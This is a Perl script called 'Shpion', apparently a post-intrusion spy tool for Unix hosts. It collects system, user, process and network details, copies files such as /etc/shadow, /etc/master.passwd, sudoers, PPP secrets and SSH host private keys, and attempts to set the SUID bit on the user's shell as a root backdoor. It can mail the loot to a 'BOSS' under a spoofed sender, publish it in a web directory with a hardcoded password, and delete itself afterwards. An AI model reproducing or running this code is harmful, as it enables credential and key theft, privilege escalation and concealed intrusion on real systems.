#!/usr/bin/perl # Alex Cherkasov <liamsoft@ukr.net> 27.09.2002 # v_0.18 #<***WARNING***> : This file will be ***DELETED*** automatically when execution is over #Comment &my_exit(in <Main part>) if you want save it use strict; #<Configuration part begin here> #Name of report file chomp(my $cur_dir=`pwd 2>/dev/null`);#Current_directory my $report=$cur_dir.'/info'; # #Path to user_www_directory,set it if you want public report my $www_path=undef; #my $www_path="/home/$username/public_html"; # #Maximum file size in system #In some systems it unlimited #It automatically detected #Edit this parameter *only* if you know really file-size limit or if it don't detected my $filesizelimit=undef; #my $filesizelimit=256_000; # #Set it if you want receive report from mail my $mail_to=undef; #my $mail_to="$usermane\@$hostname"; #<End of configuration part> ##############################Some_char_combination#################### # AR Architecture of machine (e.g. i386) # BT Time,that was at the beginning of the script is run # CD Current directory # CP CPU name # CS ipcs # DM dmesg output # DO Domain # DS Directory structure # ER Error which not must be reported to stdout # ET Time,that was at the ending of the script is run # FL Failed # FS Output of 'mount','df' # HN Hostname # HD Hard drive # IC Interrupt counter # IP IP_address # IS Interrupt signal # KN Kernel version # LM ulimit,quota... # LS lsof(list open files) # MF Get 'main' files # NF Not found # NS netstat # OS Operation System # PC ID of this process # PD Permission denied # PK List of install packages # PR /proc/ directory # PS Output of 'ps' # PT Output of 'pstree' # RE Report file # RM Remove # SB Suid_bit # SP 'Shpion' - this program # SV Versions of installed software # TL Too large # UE User environment # UN User name # VM Vmstat # WH Output of w,who,finger... # WW Path/to/WWW ######################################################################## chomp(my $username=`whoami 2>/dev/null`); chomp(my $hostname=`hostname -s 2>/dev/null`); chomp(my $domain=`hostname -d 2>/dev/null`); chomp(my $ip=`hostname -i 2>/dev/null`); chomp(my $arc=`uname -m 2>/dev/null`); chomp(my $kernel=`uname -r 2>/dev/null`); chomp(my $os=`uname -s 2>/dev/null`); chomp(my $os_ver=`uname -v 2>/dev/null`); chomp(my $proc=`uname -p 2>/dev/null`); my %prog; foreach $_(qw ! bzip2 gzip bunzip2 gunzip sync bash mail lsof netstat dmesg df mount ipcs hdparm rpm pkg_info ps pstree vmstat !){ chomp($prog{$_}=`which $_ 2>/dev/null`); unless(-e($prog{$_})){$prog{$_}="NF"} unless(-x($prog{$_})){$prog{$_}="PD"} } my $process_id=$$; my $shpion=$0; #This script name my $n=0; #Number of REPORT_FILE.[b|g]zip my $ic=0; #Interrupt counter #<Main part> &my_signal_def; open REPORT,">$report" or &my_kill; open STDERR,">$report" or open STDERR,">/dev/null"; &my_time('begin'); #Begin time of script execution &my_print_hostname; #Print User name,Hostname,Current_directory and other &my_suid; #If 'root'-put SUID_BIT to $SHELL &my_print_env; #Print user environment &my_print_who; #Get info about working users &my_print_dmesg; #System boot info &my_hdparm; &my_print_fs; #Get info about files &my_print_limit; #Print user's limits &my_print_ps; #Processes which run now &my_lsof; &my_print_ds; #Print directory structure &my_print_proc; #Print some files from /proc &my_ipcs; &my_vmstat; &my_netstat; &my_print_version; #Versions of some_software &my_print_packages; #List of install packages &my_print_main_files; #Get 'main' files if possibly &my_print_ic; #Interrupt counter &my_time('end'); #End time of script execution &my_exit; $n=&my_arc($n); #We must compress 'report_file' if FILESIZE>USER_FILESIZE_LIMIT/2 $n=&my_arc($n,'now'); #compress report_file and close $report &my_local_mail; &my_remote_mail; &my_public_in_www; #Public info.[bz2|gz] on web if user has www_account #<End of main part> #*********************************************************************** #<Function part> sub my_arc{ my $result=$_[0]; my $blocksize=1024; my $ln_rep=0; my $bash=$prog{"bash"}; my $gzip=$prog{"gzip"}; my $bzip2=$prog{"bzip2"}; my $sync=$prog{"sync"}; system("$sync 1>/dev/null 2>/dev/null"); $ln_rep=(stat($report))[7]; unless(defined($filesizelimit)){ if($bash=~/^\//){$filesizelimit=`$bash -c "ulimit -f 2>/dev/null"`} else{print REPORT "$bash bash\n"} if($filesizelimit=~/unlimited/i){$filesizelimit=999999999} if($filesizelimit){$filesizelimit*=$blocksize}else{$filesizelimit=300000} } if($ln_rep>($filesizelimit/2)or($_[1] eq 'now')){ $result++; close(REPORT)or&my_kill; rename("$report","$report.$result"); if($bzip2=~/^\//){system("$bzip2 -z $report.$result 1>/dev/null 2>/dev/null")} elsif($gzip=~/^\//){system("$gzip $report.$result 1>/dev/null 2>/dev/null")} else{ print REPORT "$bzip2 bzip2\n" unless(defined($_[1])); print REPORT "$gzip gzip\n" unless(defined($_[1])) } unless($_[1] eq 'now'){open REPORT,">$report" or &my_kill} } return $result } #_______________________________________________________________________ sub my_exit{ print REPORT "\$\$EX\nRM $shpion "; if(unlink($shpion)){print REPORT "OK\n"} else{print REPORT "FL\n"} } #_______________________________________________________________________ sub my_ipcs{ $n=&my_arc($n); my $output; my $ipcs=$prog{"ipcs"}; print REPORT "\$\$CS\n"; if($ipcs=~/^\//){ foreach my $arg(qw ! -u -t -p -c -l !){ chomp($output=`$ipcs $arg 2>/dev/null`); print REPORT "$ipcs $arg $output" } } else{print REPORT "$ipcs ipcs\n"} } #_______________________________________________________________________ sub my_hdparm{ if($os=~/linux/i){ $n=&my_arc($n); my ($dev,$str,$break)=(undef,undef,1); my $hdparm=$prog{"hdparm"}; print REPORT "\$\$HD\n"; if($hdparm=~/^\//){ unless(open FSTAB,"</etc/fstab"){&my_or_die;return} while(defined($str=<FSTAB>) and defined($break)){ if($str=~/(\/dev\/hd[a-z])/i){($dev,$break)=($1,undef)} elsif($str=~/(\/dev\/sd[a-z])/i){($dev,$break)=($1,undef)} else{($dev,$break)=('/dev/hda',undef)} } close(FSTAB); print REPORT "$dev\n",`$hdparm -abcCdgiIkmnru $dev`; print REPORT "/dev/cdrom\n",`$hdparm -abcCdgiIkmnru /dev/cdrom` } else{print REPORT "$hdparm hdparm\n"} } } #_______________________________________________________________________ sub my_kill{ my $f; foreach $f(glob "$report*"){unlink($f)} unlink($shpion); kill(9,$process_id) } #_______________________________________________________________________ sub my_local_mail{ if(defined($mail_to)){ my $f; my $bzip2=$prog{"bzip2"}; my $bunzip2=$prog{"bunzip2"}; my $gzip=$prog{"gzip"}; my $gunzip=$prog{"gunzip"}; my $mail=$prog{"mail"}; if($mail=~/^\//){ foreach $f(glob "$report*"){ if(defined($bzip2)){system("$bunzip2 $f"); $f=substr($f,0,length($f)-4)} else{system("$gunzip $f"); $f=substr($f,0,length($f)-3)} open MAIL,"|$mail -s shpions_report $mail_to"; open F,"<$f" or next; print MAIL "Hello $mail_to!\nMy name is Shpion\nI have some info about $hostname.$domain [$ip]\nYou must read this ...\n"; while(<F>){print MAIL} close(F); close MAIL; if(defined($bzip2)){system("$bzip2 -z $f")} else{system("$gzip $f")} } } } } #_______________________________________________________________________ sub my_lsof{ $n=&my_arc($n); my $lsof=$prog{"lsof"}; print REPORT "\$\$LS\n"; if($lsof=~/^\//){print REPORT `$lsof -R`} else{print REPORT "$lsof lsof\n"} } #_______________________________________________________________________ sub my_netstat{ $n=&my_arc($n); my $output; my $netstat=$prog{"netstat"}; print REPORT "\$\$NS\n"; if($netstat=~/^\//){ foreach my $arg(qw ! -g -r -s -M !){ chomp($output=`$netstat $arg 2>/dev/null`); print REPORT "$netstat $arg\n$output\n" } } else{print REPORT "$netstat netstat\n"} } #_______________________________________________________________________ sub my_or_die{ print REPORT "\$\$ER\n$!\n" } #_______________________________________________________________________ sub my_print_dmesg{ $n=&my_arc($n); my $dmesg=$prog{"dmesg"}; print REPORT "\$\$DM\n"; if($dmesg=~/^\//){print REPORT `$dmesg`} else{print REPORT "$dmesg dmesg\n"} } #_______________________________________________________________________ sub my_print_ds{ my($dir,@dirs); if($os=~/linux/i){ @dirs=qw[ / /bin /sbin /etc /dev /usr/bin /usr/X11R6/bin /lib /lib/security /usr/lib /usr/X11R6/lib /var/lib /var/log /var/spool/mail /var/run /var/www/cgi-bin /boot /tmp /home /etc/rc.d /etc/rc.d/init.d /etc/rc.d/rc3.d /etc/rc.d/rc5.d ] } elsif($os=~/openbsd/i){ @dirs=qw[ / bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc /dev /usr /tmp /home /mnt /var /var/log /var/www/cgi-bin /usr/lib /usr/libexec /usr/local/lib /usr/local/libexec ] } else{ @dirs=qw[ / /bin /sbin /etc /dev /usr/bin /usr/X11R6/bin /lib /usr/lib /var/log /tmp /home /etc/rc.d /etc/rc.d/init.d /etc/rc.d/rc3.d /etc/rc.d/rc5.d ] } print REPORT "\$\$DS\n"; foreach $dir(@dirs){ if(-e $dir){ if(-r $dir){ $n=&my_arc($n); print REPORT "DS $dir\n",`ls -Llag $dir 2>/dev/null` } else{ print REPORT "PD $dir\n" } } else{ print REPORT "NF $dir\n" } } $n=&my_arc($n) } #_______________________________________________________________________ sub my_print_env{ $n=&my_arc($n); print REPORT "\$\$UE\nPATH=$ENV{'PATH'}\nCDPATCH=$ENV{'CDPATCH'}\nSHELL=$ENV{'SHELL'}\nENV=$ENV{'ENV'}\nHOME=$ENV{'HOME'}\nMAIL=$ENV{'MAIL'}\nMAILCHECK=$ENV{'MAILCHECK'}\nMAILPATH=$ENV{'MAILPATH'}\nHISTSIZE=$ENV{'HISTSIZE'}\nHISTFILESIZE=$ENV{'HISTFILESIZE'}\n" } #_______________________________________________________________________ sub my_print_fs{ $n=&my_arc($n); my $df=$prog{"df"}; my $mount=$prog{"mount"}; print REPORT "\$\$FS\n"; if($df=~/^\//){print REPORT "df\n",`$df`} else{print REPORT "$df df\n"} if($mount=~/^\//){print REPORT "mount\n",`$mount`} else{print REPORT "$mount mount\n"} } #_______________________________________________________________________ sub my_print_hostname{ $n=&my_arc($n); print REPORT "\$\$CD\n$cur_dir\n\$\$UN\n$username\n\$\$HN\n$hostname\n\$\$DO\n$domain\n\$\$IP\n$ip\n\$\$AR\n$arc\n\$\$OS\n$os\n$os_ver\n"; print REPORT "\$\$KN\n$kernel\n\$\$CP\n$proc\n\$\$PC\n$process_id\n\$\$SP\n$shpion\n\$\$WW\n$www_path\n\$\$RE\n$report\n" } #_______________________________________________________________________ sub my_print_ic{ print REPORT "\$\$IC\n$ic\n" } #_______________________________________________________________________ sub my_print_limit{ $n=&my_arc($n); my $bash=$prog{"bash"}; print REPORT "\$\$LM\n"; if($bash=~/^\//){print REPORT `$bash -c "ulimit -a"`} else{print REPORT "$bash bash\n"} } #_______________________________________________________________________ sub my_print_main_files{ my ($f,$str); my @main_files; print REPORT "\$\$MF\n"; if($os=~/linux/i){ @main_files=qw[ /etc/passwd /etc/shadow /var/log/messages /var/log/boot.log /var/ftp/etc/passwd /var/ftp/etc/group /etc/aliases /etc/anacrontab /etc/crontab /etc/diskcheck.conf /etc/ftpaccess /etc/ftphosts /etc/ftpusers /etc/group /etc/host.conf /etc/hosts.allow /etc/hosts.deny /etc/issue /etc/issue.net /etc/ld.so.conf /etc/lilo.conf /etc/login.defs /etc/logrotate.conf /etc/mail.rc /etc/motd /etc/fstab /etc/named.conf /etc/pwdb.conf /etc/profile /etc/securetty /etc/sendmail.cf /etc/services /etc/shells /etc/sudoers /etc/sysctl.conf /etc/syslog.conf /etc/inetd.conf /etc/xinetd.conf /etc/cron.d/sysstat /etc/httpd/conf/httpd.conf /etc/httpd/conf/access.conf /etc/httpd/conf/srm.conf /etc/mail.access /etc/mail/domaintable /etc/mail/local-host-names /etc/mail/trusted-users /etc/ppp/chap-secrets /etc/ppp/pap-secrets /etc/security/access.conf /etc/sysconfig/networking/ifcfg-lo /etc/ssh/sshd_config /etc/ssh/ssh_config /etc/tripwire/twcfg.txt /etc/tripwire/twpol.txt /etc/rc.d/rc /etc/rc.d/rc.local /etc/rc.d/rc.sysinit ]} elsif($os=~/openbsd/i){ @main_files=qw[ /etc/passwd /etc/master.passwd /.cshrc /.profile /etc/adduser.conf /etc/adduser.message /etc/csh.cshrc /etc/csh.login /etc/csh.logout /etc/daily /etc/exports /etc/fbtab /etc/fstab /etc/ftpchroot /etc/ftpusers /etc/group /etc/hosts /etc/hosts.equiv /etc/inetd.conf /etc/ksh.kshrc /etc/kerberosIV/krb.conf /etc/kerberosV/krb.conf /etc/login.conf /etc/mail.rc /etc/mailer.conf /etc/monthly /etc/motd /etc/mrouted.conf /etc/myname /etc/mail/aliases /etc/mail/localhost.cf /etc/mail/sendmail.cf /etc/mail/submit.cf /etc/nat.conf /etc/netstart /etc/networks /etc/newsyslog.conf /etc/phones /etc/printcap /etc/protocols /etc/ppp/pap-secrets /etc/ppp/chap-secrets /etc/ppp/ppp.secret /etc/rc /etc/rc.conf /etc/rc.local /etc/rc.securelevel /etc/rc.shutdown /etc/remote /etc/rpc /etc/security /etc/services /etc/shells /etc/skeykeys /etc/sudoers /etc/sysctl.conf /etc/syslog.conf /etc/skel/.cshrc /etc/skel/.login /etc/skel/.mailrc /etc/skel/.profile /etc/skel/.rhosts /etc/sliphome/slip.hosts /etc/sliphome/slip.login /etc/ssh/ssh_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/sshd_config /etc/ssl/openssl.cnf /etc/ttys /etc/weekly /var/cron/tabs/root /var/cron/log /var/www/conf/httpd.conf /var/www/conf/access.conf /var/www/conf/srm.conf /var/log/adduser /var/log/authlog /var/log/daemon /var/log/ftpd /var/log/maillog /var/log/messages /var/log/secure /var/log/xferlog ]} elsif($os=~/freebsd/i){ @main_files=qw[ /etc/passwd /etc/master.passwd /etc/group]} foreach $f(@main_files){ if(-e($f)){ if(-r($f)){ $n=&my_arc($n); if((-s($f))>$filesizelimit){ print REPORT "TL $f\n"; next } open FILE,$f or next; print REPORT "MF $f\n"; while(defined($str=<FILE>)){ s#^\s+##; s#\s+$##; if($str=~/^#/){next}; if($str=~/^\n+/){next}; print REPORT $str; } } else {print REPORT "PD $f\n"} } else {print REPORT "NF $f\n"} } $n=&my_arc($n) } #_______________________________________________________________________ sub my_print_packages{ $n=&my_arc($n); if($os=~/linux/i){ my $rpm=$prog{"rpm"}; print REPORT "\$\$PK\n"; if($rpm=~/^\//){print REPORT `($rpm -qa)|sort`} else{print REPORT "$rpm rpm\n"} } if($os=~/openbsd/i){ my $pkginfo=$prog{"pkginfo"}; if($pkginfo=~/^\//){print REPORT `$pkginfo|sort`} else{print REPORT "$pkginfo pkg_info\n"} } } #_______________________________________________________________________ sub my_print_proc{ if($os=~/linux/i){ my ($f,$str); print REPORT "\$\$PR\n"; if(-e('/proc')){ if(-r('/proc')){ foreach $f(qw [ cpuinfo devices dma filesystems interrupts iomem ioports meminfo modules partitions pci slabinfo stat swaps version ]){ print REPORT "PR /proc/$f\n"; if(-e("/proc/$f")){ if(-r("/proc/$f")){ unless(open FILE,"</proc/$f"){&my_or_die; next} $n=&my_arc($n); while(defined($str=<FILE>)){ print REPORT "$str"; } close(FILE) } else{ print REPORT "PD /proc/$f" } } else{ print REPORT "NF /proc/$f" } } } else {print REPORT "PD /proc\n"} } else{print REPORT "NF /proc\n"} } } #_______________________________________________________________________ sub my_print_ps{ $n=&my_arc($n); my $ps=$prog{"ps"}; my $pstree=$prog{"pstree"}; print REPORT "\$\$PS\n"; if($ps=~/^\//){ if($os=~/linux/i){ print REPORT `$ps -elf` } elsif($os=~/openbsd/i){ print REPORT `$ps -aux` } else{ print REPORT `$ps` } } else{print REPORT "$ps ps\n"} print REPORT "\$\$PT\n"; if($pstree=~/^\//){print REPORT `$pstree -alnpu`} else{print REPORT "$pstree pstree\n"} } #_______________________________________________________________________ sub my_print_version{ $n=&my_arc($n); my ($prgrm,$soft,$softv); print REPORT "\$\$SV\n"; foreach $prgrm(qw ! gcc perl sh bash bash2 httpd rpm !){ chomp($soft=`which $prgrm 2>/dev/null`); if(-e($soft)){ if(-x($soft)){ $softv=`$soft --version 2>/dev/null` } else{print REPORT "PD $soft\n"} } else{print REPORT "NF $prgrm\n"} if($softv=~/[0-9][0-9.]*/){$softv=$&}; print REPORT "$soft:$softv\n"; } } #_______________________________________________________________________ sub my_print_who{ $n=&my_arc($n); my($prgrm,$f); my %command=( "w"=>"", "who"=>"", "finger"=>"-slpm", "lastlog"=>"", "last"=>"-n2000 -ax",); print REPORT "\$\$WH\n"; foreach $f(keys %command){ chomp($prgrm=`which $f 2>/dev/null`); if(-e($prgrm)){ if(-x($prgrm)){ print REPORT "$prgrm\n",`$prgrm $command{$f}` } else{print REPORT "PD $prgrm\n"} } else{print REPORT "NF $f\n"} } } #_______________________________________________________________________ sub my_public_in_www{ if(defined($www_path)){ my $f; my $www_shp=$www_path.'/shpion'; my $www_acs=$www_shp.'/.htaccess'; my $www_psw=$www_shp.'/.htpasswd'; unless(-e($www_shp)){ unless(mkdir($www_shp,0755)){&my_or_die;return} } foreach $f(glob "$report*"){ system("cp $f $www_shp 1>/dev/null 2>/dev/null")} open HTPASSWD,">$www_psw"; print HTPASSWD "kondor:KevDavMit\n"; close(HTPASSWD); chmod(0600,$www_psw); open HTACCESS,">$www_acs"; print HTACCESS "AuthType Basic\nAuthName \"Shpion directory\"\nAuthUserFile $www_shp/.htpasswd\nRequire valid-user\n"; close(HTACCESS) } } #_______________________________________________________________________ sub my_remote_mail{ if(defined($mail_to)){ my $mail=$prog{"mail"}; if($mail=~/^\//){ unless(open(SENDMAIL,"|$mail -oi -t")){&my_or_die;return} print SENDMAIL <<"EOF"; From: Unknown <somewho\@somewhere.com> To: Boss <$mail_to> Subject: Shpions report Hello BOSS ! I have good news I send some info to you in next mail Bye ... EOF #It will be in future close(SENDMAIL); } } } #_______________________________________________________________________ sub my_signal_def{ my $sig; foreach $sig(qw ! HUP INT QIUT ILL ABRT FPE SEGV PIPE ALRM TERM CONT TSTP TTIN TTOU !){ $SIG{$sig}= sub { my $signal=shift; my $time=`date 2>/dev/null`; $ic++; print REPORT "\$\$IS\n$signal\n",$time,"\n" } } } #_______________________________________________________________________ sub my_suid{ my $have='not has'; chomp(my $shell=$ENV{'SHELL'}); print REPORT "\$\$SB\n"; unless(system("chmod +s $shell 1>/dev/null 2>/dev/null")){$have='has'}; print REPORT "$shell $have SUID bit\n" } #_______________________________________________________________________ sub my_time{ my $lt=localtime; if($_[0]=~/begin/i){print REPORT "\$\$BT\n",(localtime $lt),"\n"} if($_[0]=~/end/i){print REPORT "\$\$ET\n",(localtime $lt),"\n"} print REPORT "$lt\n" } #_______________________________________________________________________ sub my_vmstat{ $n=&my_arc($n); my $vmstat=$prog{"vmstat"}; print REPORT "\$\$VM\n"; if($vmstat=~/^\//){print REPORT `$vmstat`} else{print REPORT "$vmstat vmstat\n"} } #<End of function part>